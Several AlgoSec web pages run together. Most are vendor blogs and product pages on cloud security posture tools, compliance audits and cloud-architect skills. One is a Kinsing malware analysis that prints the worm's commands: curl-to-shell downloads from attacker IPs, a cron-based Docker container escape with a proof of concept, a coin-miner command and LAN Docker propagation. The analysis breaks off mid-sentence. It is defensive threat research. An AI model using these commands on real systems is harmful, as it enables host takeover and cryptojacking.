Protecting cloud-based applications and workloads requires robust security solutions such as CSPM, CIEM and CWPP. CNAPP tries to answer... Cloud Security CSPM vs. CNAPP: Which Solution to Choose? Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/24/22 Published Protecting cloud-based applications and workloads requires robust security solutions such as CSPM, CIEM and CWPP. CNAPP tries to answer all 3 but how do you know which solution is right for your specific organization? Ava Chawla, AlgoSec’s Global Head of Cloud Security unravels the differences between them and shares her expert opinion on the solution that offers the most value for organizations. What is Cloud Security Posture Management (CSPM)? A CSPM tool monitors the logs and configuration files of the services you use in your cloud environment. It will scan the entire cloud environment to detect and prevent misconfiguration errors. This is important because configurations in the cloud happen quickly and just as quickly introduce new threats into the environment. For robust ongoing protection, you need to monitor the environment continuously and automatically. Here’s where CSPM comes in. The best CSPM solutions implement configuration best practices and automatically initiate corrective actions to remove risks, thus improving cloud security, ensuring adherence to compliance policies, and reducing the likelihood of breaches. Additionally, they are agentless, do not require long configuration, and don’t add to your cloud bills by utilizing additional cloud resources. What is Cloud Infrastructure Entitlement Management (CIEM)? In cloud environments, identity goes beyond users and groups. It also plays a vital role in managing all the resources and services that need to access data. All these accesses happen very quickly and constitute a complex web of interactions. It’s crucial to know when and between whom these interactions occur to ensure that only legitimate resources can access or modify data. But as your cloud resources increase, the complexity of entitlements also grows. It’s not easy to keep track of these entitlements or to maintain the security-focused principle of least privilege (PoLP). CIEM tools are specialized identity-centric solutions to manage cloud access risk and govern entitlements in hybrid and multi-cloud environments. With CIEM, you can manage entitlements across all your cloud resources and maintain PoLP to mitigate the risk created by granting excessive permissions to cloud resources. What is a Cloud Workload Protection Platform (CWPP)? CWPP solutions manage cloud applications and workloads. They can reach back into on- prem environments and thus effectively detect and prevent security problems like malware and vulnerabilities across the entire hybrid landscape. CWPP solutions can scale automatically and support your organization as your cloud environment grows or changes. What is a Cloud Native Application Protection Platform (CNAPP)? Each of these solutions are geared towards a specific area of cloud security. CSPM prevents misconfiguration errors, CIEM platforms manage cloud access risks, and CWPP protects your assets and workloads. But what if you want a single solution that can completely manage the security of your cloud environment? Try a Cloud Native Application Protection Platform . CNAPP solutions combine security posture management, workload protection, and entitlement management into one single platform to provide comprehensive, holistic security across multi-cloud environments. Thus, you can protect your entire cloud estate with one solution instead of having to implement and manage multiple point solutions. Another advantage of a CNAPP tool is that it will enable you to “shift left”. Thus, you can not only secure applications in production environments, but also manage the runtime and DevOps aspects of security. For this reason, these platforms are aimed at both security professionals and DevOps practitioners. Conclusion and Next Steps A CNAPP solution is the most comprehensive solution. However, in today’s market there is no one tool that truly covers all the functionalities that CNAPP promises. Therefore, each organization should choose the solution that fits its immediate needs, including taking other considerations into account such as the skill level and the maturity of its cloud adoption. One important thing to remember: Regardless of the solution you choose, make sure it’s agentless. Agentless is important in today’s cloud security because agent-based solutions are hard to manage, expensive, and intrusive. If you’re looking for a modern agentless CSPM with container protection to safeguard your cloud-based application and workload data, then Prevasio might be the best option for you. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Checklist for implementing security as code Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Tal Dayan, security expert for AlgoSec, discusses the secret to passing audits seamlessly and how to introduce automated compliance... Auditing and Compliance Compliance Made Easy: How to improve your risk posture with automated audits Tal Dayan 2 min read Tal Dayan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/29/21 Published Tal Dayan, security expert for AlgoSec, discusses the secret to passing audits seamlessly and how to introduce automated compliance Compliance standards come in many different shapes and sizes. Some organizations set their own internal policies, while others are subject to regimented global frameworks such as PCI DSS , which protects customers’ card payment details; SOX to safeguard financial information or HIPAA , which protects patients’ healthcare data. Regardless of which industry you operate in, regular auditing is key to ensuring your business retains its risk posture whilst also remaining compliant. The problem is that running manual risk and security audits can be a long, drawn-out, and tedious affair. A 2020 report from Coalfire and Omdia  found that for the majority of organizations, growing compliance obligations are now consuming 40% or more of IT security budgets and threaten to become an unsustainable cost.  The report suggests two reasons for this growing compliance burden.  First, compliance standards are changing from point-in-time reviews to continuous, outcome-based requirements. Second, the ongoing cyber-skills shortage is stretching organizations’ abilities to keep up with compliance requirements. This means businesses tend to leave them until the last moment, leading to a rushed audit that isn’t as thorough as it could be, putting your business at increased risk of a penalty fine or, worse, a data breach that could jeopardize the entire organization. The auditing process itself consists of a set of requirements that must be created for organizations to measure themselves against. Each rule must be manually analyzed and simulated before it can be implemented and used in the real world. As if that wasn’t time-consuming enough, every single edit to a rule must also be logged meticulously. That is why automation plays a key role in the auditing process. By striking the right balance between automated and manual processes, your business can achieve continuous compliance and produce audit reports seamlessly. Here is a six-step strategy that can set your business on the path to sustainable and successful ongoing auditing preservation: Step 1: Gather information This step will be the most arduous but once completed it will become much easier to sustain. This is when you’ll need to gather things like security policies, firewall access logs, documents from previous audits and firewall vendor information – effectively everything you’d normally factor into a manual security audit. Step 2: Define a clear change management process A good change management process is essential to ensure traceability and accountability when it comes to firewall changes. This process should confirm that every change is properly authorized and logged as and when it occurs, providing a picture of historical changes and approvals. Step 3: Audit physical & OS security With the pandemic causing a surge in the number of remote workers and devices used, businesses must take extra care to certify that every endpoint is secured and up-to-date with relevant security patches. Crucially, firewall and management services should also be physically protected, with only designated personnel permitted to access them. Step 4: Clean up & organize rule base As with every process, the tidier it is, the more efficient it is. Document rules and naming conventions should be enforced to ensure the rule base is as organized as possible, with identical rules consolidated to keep things concise. Step 5: Assess & remediate risk Now it’s time to assess each rule and identify those that are particularly risky and prioritize them by severity. Are there any that violate corporate security policies? Do some have “ANY” and a permissive action? Make a list of these rules and analyze them to prepare plans for remediation and compliance. Step 6: Continuity & optimization Now it’s time to simply hone the first five steps and make these processes as regular and streamlined as possible. By following the above steps and building out your own process, you can make day-to-day compliance and auditing much more manageable. Not only will you improve your compliance score, you’ll also be able to maintain a sustainable level of compliance without the usual disruption and hard labor caused by cumbersome and expensive manual processes. To find out more about auditing automation and how you can master compliance, watch my recent webinar and visit our firewall auditing and compliance page. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Integrating AlgoSec with F5 Networks firewalls, LTM, AFM, and network security devices offers visibility and compliance for hybrid networks F5 Networks and AlgoSec AlgoSec seamlessly integrates with F5 BIG-IP LTM and AFM modules to provide customers with unified security policy management across their heterogeneous networks. AlgoSec delivers visibility and analysis of F5 LTM and AFM. AlgoSec supports the entire security policy management lifecycle — from application connectivity discovery through ongoing management and compliance to rule recertification and secure decommissioning. Solution brief View webinar Key benefits Uniform security policy across your hybrid network environment. Deploy applications faster by automating network security change management processes. Avoid security device misconfigurations that cause outages. Reduce the costs and efforts of firewall auditing and ensure success. How to Unified visibility for the hybrid environment Cleanup, recertify, and optimize Security Policies Audit-ready compliance reports SEE HOW F5 USERS CAN BENEFIT FROM ALGOSEC Schedule time with one of our experts

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

AlgoSec Firewall Analyzer delivers visibility analysis of your network applications across your hybrid network Identify compliance gaps Optimizing policy automation through effective object management Manage network objects across your on-prem and hybrid cloud estate Schedule a demo Watch a video Bring order to a disorderly network. Easily automate changes to firewall and SDN objects from a central location saving time and labor Automate object changes Learn more Reduce risk of outages and security breaches by identifying misaligned object definitions, duplicate objects and unattached objects. Reduce risk Learn more Automatically discover and gain full visibility of all firewall and SDN objects in your network in one central repository. Complete visibility for network objects Learn more Object management is one important piece of a robust security policy. See how our full solution suitecompletes the picture. End-to-end security management Security policy you can see Firewall Analyzer Discover, identify, and map business applications across your entire hybrid network. Learn more AlgoSec Cloud Effortless cloud management Security management across the hybrid and multi-cloud estate. Learn more Watch the video "We are much secure since we have had this product" What they say about us Network security Engineer/architect Equip yourself with the technical details to discuss with your team and managers Ready for a deep dive? Learn more Got everything you need?
Here’s how you get started How to buy Learn more Get the conversation started by sharing it with your team Solution brochure Learn more Here's how we secure our SaaS solution Cloud Security Get the latest insights from the experts Managing network objects in hybrid environments Watch a video Bridging Network Security Gaps with Better Network Object Management Read an article Learn about the different sources for application connectivity discovery Read solution brochure Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Cloud threats are at an all-time high. But not only that, hackers are becoming more sophisticated with cutting-edge tools and new ways to... Cloud Security A Guide to Upskilling Your Cloud Architects & Security Teams in 2023 Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/2/23 Published Cloud threats are at an all-time high. But not only that, hackers are becoming more sophisticated with cutting-edge tools and new ways to attack your systems. Cloud service providers can only do so much. So, most of the responsibility for securing your data and applications will still fall on you. This makes it critical to equip your organization’s cloud architects and security teams with the necessary skills that help them stay ahead of the evolving threat landscape. Although the core qualities of a cloud architect remain the same, upskilling requires them to learn emerging skills in strategy, leadership, operational, and technical areas. Doing this makes your cloud architects and security teams well-rounded to solve complex cloud issues and ensure the successful design of cloud security architecture. Here, we’ll outline the top skills for cloud architects. This can be a guide for upskilling your current security team and hiring new cloud security architects. But besides the emerging skills, what are the core responsibilities of a cloud security architect? Responsibilities of Cloud Security Architects A cloud security architect builds, designs, and deploys security systems and controls for cloud-based computing services and data storage systems. Their responsibilities will likely depend on your organization’s cloud security strategy. Here are some of them: 1. Plan and Manage the Organization’s Cloud Security Architecture and Strategy: Security architects must work with other security team members and employees to ensure the security architecture aligns with your organization’s strategic goals. 2. Select Appropriate Security Tools and Controls: Cloud security architects must understand the capabilities and limitations of cloud security tools and controls and contribute when selecting the appropriate ones. This includes existing enterprise tools with extensibility to cloud environments, cloud-native security controls, and third-party services. They are responsible for designing new security protocols whenever needed and testing them to ensure they work as expected. 3. Determine Areas of Deployments for Security Controls: After selecting the right tools, controls, and measures, architects must also determine where they should be deployed within the cloud security architecture. 4. Participating in Forensic Investigations: Security architects may also participate in digital forensics and incident response during and after events. These investigations can help determine how future incidents can be prevented. 5. Define Design Principles that Govern Cloud Security Decisions: Cloud security architects will outline design principles that will be used to make choices on the security tools and controls to be deployed, where, and from which sources or vendors. 6. Educating employees on data security best practices: Untrained employees can undo the efforts of cloud security architects. So, security architects must educate technical and non-technical employees on the importance of data security. This includes best practices for creating strong passwords, identifying social engineering attacks, and protecting sensitive information. Best Practices for Prioritizing Cloud Security Architecture Skills Like many other organizations, there’s a good chance your company has moved (or is in the process of moving) all or part of its resources to the cloud. This could either be a cloud-first or cloud-only strategy. As such, they must implement strong security measures that protect the enterprise from emerging threats and intrusions. Cloud security architecture is only one of many aspects of cloud security disciplines. And professionals specializing in this field must advance their skillset to make proper selections for security technologies, procedures, and the entire architecture. However, your cloud security architects cannot learn everything. So, you must prioritize and determine the skills that will help them become better architects and deliver effective security architectures for your organization. To do this, you may want to consider the demand and usage of the skill in your organization. Will upskilling them with these skills solve any key challenge or pain point in your organization? You can achieve this by identifying the native security tools key to business requirements, compliance adherence, and how cloud risks can be managed effectively. Additionally, you should consider the relevance of the skill to the current cloud security ecosystem. Can they apply this skill immediately? Does it make them better cloud security architects? Lastly, different cloud deployment (e.g., a public, private, edge, and distributed cloud) or cloud service models (e.g., Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS), and Software-as-a-Service (SaaS)) bring unique challenges that demand different skillsets. So, you must identify the necessary skills peculiar to each proposed project. Once you have all these figured out, here are some must-have skillsets for cloud security architects. Critical Skills for Cloud Security Architect Cloud security architects need several common skills, like knowledge of programming languages (.NET, PHP, Python, Java, Ruby, etc.), network integration with cloud services, and operating systems (Windows, macOS, and Linux). However, due to the evolving nature of cloud threats, more skills are required. Training your security teams and architects can have more advantages than onboarding new recruits. This is because existing teams are already familiar with your organization’s processes, culture, and values. However, whether you’re hiring new cloud security architects or upskilling your current workforce, here are the most valuable skills to look out for or learn. 1. Experience in cloud deployment models (IaaS, PaaS, and SaaS) It’s important to have cloud architects and security teams that integrate various security components in different cloud deployments for optimal results. They must understand the appropriate security capabilities and patterns for each deployment. This includes adapting to unique security requirements during deployment, combining cloud-native and third-party tools, and understanding the shared responsibility model between the CSP and your organization. 2. Knowledge of cloud security frameworks and standards Cloud security frameworks, standards, and methodologies provide a structured approach to security activities. Interpreting and applying these frameworks and standards is a critical skill for security architects. Some cloud security frameworks and standards include ISO 27001, ISAE 3402, CSA STAR, and CIS benchmarks. Familiarity with regional or industry-specific requirements like HIPAA, CCPA, and PCI DSS can ensure compliance with regulatory requirements. Best practices like the AWS Well-Architected Framework, Microsoft Cloud Security Benchmark, and Microsoft Cybersecurity Reference Architectures are also necessary skills. 3. Understanding of Native Cloud Security Tools and Where to Apply Them Although most CSPs have native tools that streamline your cloud security policies, understanding which tools your organization needs and where is a must-have skill. There are a few reasons why; it’s cost-effective, integrates seamlessly with the respective cloud platform, enhances management and configuration, and aligns with the CSP’s security updates. Still, not all native tools are necessary for your cloud architecture. As native security tools evolve, cloud architects must constantly be ahead by understanding their capabilities. 4. Knowledge of Cloud Identity and Access Management (IAM) Patterns IAM is essential for managing user access and permissions within the cloud environment. Familiarity with IAM patterns ensures proper security controls are in place. Note that popular cloud service providers, like Amazon Web Services, Microsoft Azure, and Google Cloud Platform, may have different processes for implementing IAM. However, the key principles of IAM policies remain. So, your cloud architects must understand how to define appropriate IAM measures for access controls, user identities, authentication techniques like multi-factor authentication (MFA) or single sign-on (SSO), and limiting data exfiltration risks in SaaS apps. 5. Proficiency with Cloud-Native Application Protection Platforms CNAPP is a cloud-native security model that combines the capabilities of Cloud Security Posture Management (CSPM), Cloud Workload Protection Platform (CWPP), and Cloud Service Network Security (CSNS) into a single platform. Cloud solutions like this simplify monitoring, detecting, and mitigating cloud security threats and vulnerabilities. As the nature of threats advances, using CNAPPs like Prevasio can provide comprehensive visibility and security of your cloud assets like Virtual Machines, containers, object storage, etc. CNAPPs enable cloud security architects to enhance risk prioritization by providing valuable insights into Kubernetes stack security configuration through improved assessments. 6. Aligning Your Cloud Security Architecture with Business Requirements It’s necessary to align your cloud security architecture with your business’s strategic goals. Every organization has unique requirements, and your risk tolerance levels will differ. When security architects are equipped to understand how to bridge security architecture and business requirements, they can ensure all security measures and control are calibrated to mitigate risks. This allows you to prioritize security controls, ensures optimal resource allocation, and improves compliance with industry-specific regulatory requirements. 7. Experience with Legacy Information Systems Although cloud adoption is increasing, many organizations have still not moved all their assets to the cloud. At some point, some of your on-premises legacy systems may need to be hosted in a cloud environment. However, legacy information systems’ architecture, technologies, and security mechanisms differ from modern cloud environments. This makes it important to have cloud security architects with experience working with legacy information systems. Their knowledge will help your organization solve any integration challenges when moving to the cloud. It will also help you avoid security vulnerabilities associated with legacy systems and ensure continuity and interoperability (such as data synchronization and maintaining data integrity) between these systems and cloud technologies. 8. Proficiency with Databases, Networks, and Database Management Systems (DBMS) Cloud security architects must also understand how databases and database management systems (DBMS) work. This knowledge allows them to design and implement the right measures that protect data stored within the cloud infrastructure. Proficiency with databases can also help them implement appropriate access controls and authentication measures for securing databases in the cloud. For example, they can enforce role-based access controls (RBAC) within the database environment. 9. Solid Understanding of Cloud DevOps DevOps is increasingly becoming more adopted than traditional software development processes. So, it’s necessary to help your cloud security architects embrace and support DevOps practices. This involves developing skills related to application and infrastructure delivery. They should familiarize themselves with tools that enable integration and automation throughout the software delivery lifecycle. Additionally, architects should understand agile development processes and actively work to ensure that security is seamlessly incorporated into the delivery process. Other crucial skills to consider include cloud risk management for enterprises, understanding business architecture, and approaches to container service security. Conclusion By upskilling your cloud security architects, you’re investing in their personal development and equipping them with skills to navigate the rapidly evolving cloud threat landscape. It allows them to stay ahead of emerging threats, align cloud security practices with your business requirements, and optimize cloud-native security tools. Cutting-edge solutions like Cloud-Native Application Protection Platforms (CNAPPs) are specifically designed to help your organization address the unique challenges of cloud deployments. With Prevasio, your security architects and teams are empowered with automation, application security, native integration, API security testing, and cloud-specific threat mitigation capabilities. Prevasio’s agentless CNAPP provides increased risk visibility and helps your cloud security architects implement best practices. Contact us now to learn more about how our platform can help scale your cloud security. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call